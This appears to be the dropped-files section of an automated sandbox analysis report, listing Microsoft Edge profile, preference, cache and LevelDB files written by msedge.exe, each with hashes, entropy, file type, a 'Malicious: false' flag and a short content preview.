Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF5babc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9392
Entropy (8bit):	5.104592838943003
Encrypted:	false
SSDEEP:	192:stLkdpslSnaFvrEmkbn388YbV+FiABUYPpYJ:stL+slSnCD8ibGiZ7
MD5:	29F476708A44DD653A419C32358454F9
SHA1:	3010DCD93ECE897374CA3D0FAB1E99E5A43ACB6A
SHA-256:	AFCE1A511F4CB8E121FA987EF76F8BD8AE8A3AAC8A850FB13972F6907D4CF5D3
SHA-512:	AA5A7FA3EB20FAE39F26FAF6FF0E0409D8543BC1439D9BFE9FDDCC77FD79F60A5E093D78F5B8EBDC3AACB78C4ABC3FC1990C16B5A0690D04DC80641E742A8DB1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF654c9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9392
Entropy (8bit):	5.104592838943003
Encrypted:	false
SSDEEP:	192:stLkdpslSnaFvrEmkbn388YbV+FiABUYPpYJ:stL+slSnCD8ibGiZ7
MD5:	29F476708A44DD653A419C32358454F9
SHA1:	3010DCD93ECE897374CA3D0FAB1E99E5A43ACB6A
SHA-256:	AFCE1A511F4CB8E121FA987EF76F8BD8AE8A3AAC8A850FB13972F6907D4CF5D3
SHA-512:	AA5A7FA3EB20FAE39F26FAF6FF0E0409D8543BC1439D9BFE9FDDCC77FD79F60A5E093D78F5B8EBDC3AACB78C4ABC3FC1990C16B5A0690D04DC80641E742A8DB1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	166749
Entropy (8bit):	5.659481634039203
Encrypted:	false
SSDEEP:	3072:QL6yLm2fq4pc+rCAogU2CcBjj3YAg7mDyL6yLm29q4pc+rCZogc2CcBjK3YAg7mu:QL6yfk58yL6y9XQr7
MD5:	F5DED9A660450E36269BA4076A69183E
SHA1:	BE60BC752462423477211C05279043A1F9C695C8
SHA-256:	7938F049337A12BDDC1E438D9277B231EE0EB3416DBAC5D3F9408BA11552180E
SHA-512:	EC758CF444C7B3AFD09AB6A5B205EC037F6B51B1279AECC44DE1D4D1DD7C81313DAFE8B8F78D4E515043A0FB0E61E8EFAE5916A3A3F18183CB6529BF53422B0B
Malicious:	false
Preview:	...m.................DB_VERSION.1..1.j...............(QUERY_TIMESTAMP:product_category_en1...13366456650778390..QUERY:product_category_en1....[{"name":"product_category_en","url":"https://edgeassetservice.azureedge.net/assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories","version":{"major":1,"minor":0,"patch":0},"hash":"r2jWYy3aqoi3+S+aPyOSfXOCPeLSy5AmAjNHvYRv9Hg=","size":82989}]...yg~..............!ASSET_VERSION:product_category_en.1.0.0..ASSET:product_category_en...."..3....Car & Garage..Belts & Hoses.#..+....Sports & Outdoors..Air Pumps.!.."....Car & Garage..Body Styling.4..5./..Gourmet Food & Chocolate..Spices & Seasonings.'..,."..Sports & Outdoors..Sleeping Gear.!..6....Lawn & Garden..Hydroponics.9.a.5..Books & Magazines. Gay & Lesbian Interest Magazines....+....Office Products..Pins.,..3.'..Kitchen & Housewares..Coffee Grinders.$..#....Computing..Enterprise Servers.#..&....Home Furnishings..Footboards.6...2..Books & Magazines..Computer & Internet Magazines.)..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.2109977164287855
Encrypted:	false
SSDEEP:	6:BMAfWcflVq2PN723oH+TcwtgctZQInvIFUt84MAfWcfJ7wgZmw+4MAfWcfRIkwO+:NfWulVvVaYebgGZznQFUt8wfWuJsg/+X
MD5:	C3122AA9EC337711439E4B49AB67692C
SHA1:	18157A46EF952E734AA3627FA49B5F920FCFC680
SHA-256:	784F039AFA267AA9A609D6748449E863F57378E3187BCB84B28E124D7FCC160D
SHA-512:	4EB33B6E36AAC38F8D501B2365275E8BD9141814A72C7FF1FA375B169ADF9FB6B5E1024C38F67BF4182ECB023AEF2E74DA60BCA1D63930E3B8684ECE337085BF
Malicious:	false
Preview:	2024/07/26-04:39:03.194 860 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparisonAssetStore.db/MANIFEST-000001.2024/07/26-04:39:03.195 860 Recovering log #3.2024/07/26-04:39:03.200 860 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparisonAssetStore.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.2109977164287855
Encrypted:	false
SSDEEP:	6:BMAfWcflVq2PN723oH+TcwtgctZQInvIFUt84MAfWcfJ7wgZmw+4MAfWcfRIkwO+:NfWulVvVaYebgGZznQFUt8wfWuJsg/+X
MD5:	C3122AA9EC337711439E4B49AB67692C
SHA1:	18157A46EF952E734AA3627FA49B5F920FCFC680
SHA-256:	784F039AFA267AA9A609D6748449E863F57378E3187BCB84B28E124D7FCC160D
SHA-512:	4EB33B6E36AAC38F8D501B2365275E8BD9141814A72C7FF1FA375B169ADF9FB6B5E1024C38F67BF4182ECB023AEF2E74DA60BCA1D63930E3B8684ECE337085BF
Malicious:	false
Preview:	2024/07/26-04:39:03.194 860 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparisonAssetStore.db/MANIFEST-000001.2024/07/26-04:39:03.195 860 Recovering log #3.2024/07/26-04:39:03.200 860 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparisonAssetStore.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24774
Entropy (8bit):	5.566777431325258
Encrypted:	false
SSDEEP:	768:wcM2GJWWXW5wWYf4228F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc4ICfMIrwXZUwpFf:wHNJpXWaWYfJ2u1ja14kZvth
MD5:	910BAF42B8FF306F226DB36DEAEBB080
SHA1:	4B164A622758A871351617532E6E5192D646E73B
SHA-256:	966683AEB95395FA69691CE76FBEC6C9783EB41149503B3A322983D1ADD8D06B
SHA-512:	B36D88274FF222B7FB60543F4E7212B0E5E026F7D5129203173EC429C5CD66F5EC1D81318A665626C0260AEF361AE5AB71B97A7B467BE775EE322BBA94C5C324
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366456631688388","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366456631688388","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4a370.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24774
Entropy (8bit):	5.566777431325258
Encrypted:	false
SSDEEP:	768:wcM2GJWWXW5wWYf4228F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc4ICfMIrwXZUwpFf:wHNJpXWaWYfJ2u1ja14kZvth
MD5:	910BAF42B8FF306F226DB36DEAEBB080
SHA1:	4B164A622758A871351617532E6E5192D646E73B
SHA-256:	966683AEB95395FA69691CE76FBEC6C9783EB41149503B3A322983D1ADD8D06B
SHA-512:	B36D88274FF222B7FB60543F4E7212B0E5E026F7D5129203173EC429C5CD66F5EC1D81318A665626C0260AEF361AE5AB71B97A7B467BE775EE322BBA94C5C324
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366456631688388","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366456631688388","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF5be27.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24774
Entropy (8bit):	5.566777431325258
Encrypted:	false
SSDEEP:	768:wcM2GJWWXW5wWYf4228F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc4ICfMIrwXZUwpFf:wHNJpXWaWYfJ2u1ja14kZvth
MD5:	910BAF42B8FF306F226DB36DEAEBB080
SHA1:	4B164A622758A871351617532E6E5192D646E73B
SHA-256:	966683AEB95395FA69691CE76FBEC6C9783EB41149503B3A322983D1ADD8D06B
SHA-512:	B36D88274FF222B7FB60543F4E7212B0E5E026F7D5129203173EC429C5CD66F5EC1D81318A665626C0260AEF361AE5AB71B97A7B467BE775EE322BBA94C5C324
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366456631688388","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366456631688388","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF665f0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24774
Entropy (8bit):	5.566777431325258
Encrypted:	false
SSDEEP:	768:wcM2GJWWXW5wWYf4228F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc4ICfMIrwXZUwpFf:wHNJpXWaWYfJ2u1ja14kZvth
MD5:	910BAF42B8FF306F226DB36DEAEBB080
SHA1:	4B164A622758A871351617532E6E5192D646E73B
SHA-256:	966683AEB95395FA69691CE76FBEC6C9783EB41149503B3A322983D1ADD8D06B
SHA-512:	B36D88274FF222B7FB60543F4E7212B0E5E026F7D5129203173EC429C5CD66F5EC1D81318A665626C0260AEF361AE5AB71B97A7B467BE775EE322BBA94C5C324
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366456631688388","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366456631688388","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1495a2dc-f29d-4230-86e6-57b1975f98bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5087d8a7-bbce-4dec-8766-ec2724b708e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF5f95b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\df46bbef-786b-448c-b193-128eecc87651.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ce1d0e77-95a6-4dfe-83a3-fc80b6b8b04b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9983
Entropy (8bit):	5.124502224744097
Encrypted:	false
SSDEEP:	192:stlkdpslSnaFvrE9kvn388kMbV+FE942A9QHUYPpYJ:stl+slSnCDZlbGi42sr7
MD5:	9045141DFB0B54C5EDC3FDD0DBDF25D7
SHA1:	3A1F381D299E89348532676D9889683E437AFD7C
SHA-256:	6D0070491604C12EA6413309889A3699DE67B011FBFA5AF2C89E9A1653F7B6A4
SHA-512:	72102A68FFE34F304A7E641F0ADC6830292DF32F179A63D1C56ED4AA2D034CC2FCCE5FAAEBEFD3CB8876EE71CE17BC441B1A1BDA90E664E31E6D376216E086B4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dc12bd32-5078-4aee-a407-95fd1da8f9e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9392
Entropy (8bit):	5.104592838943003
Encrypted:	false
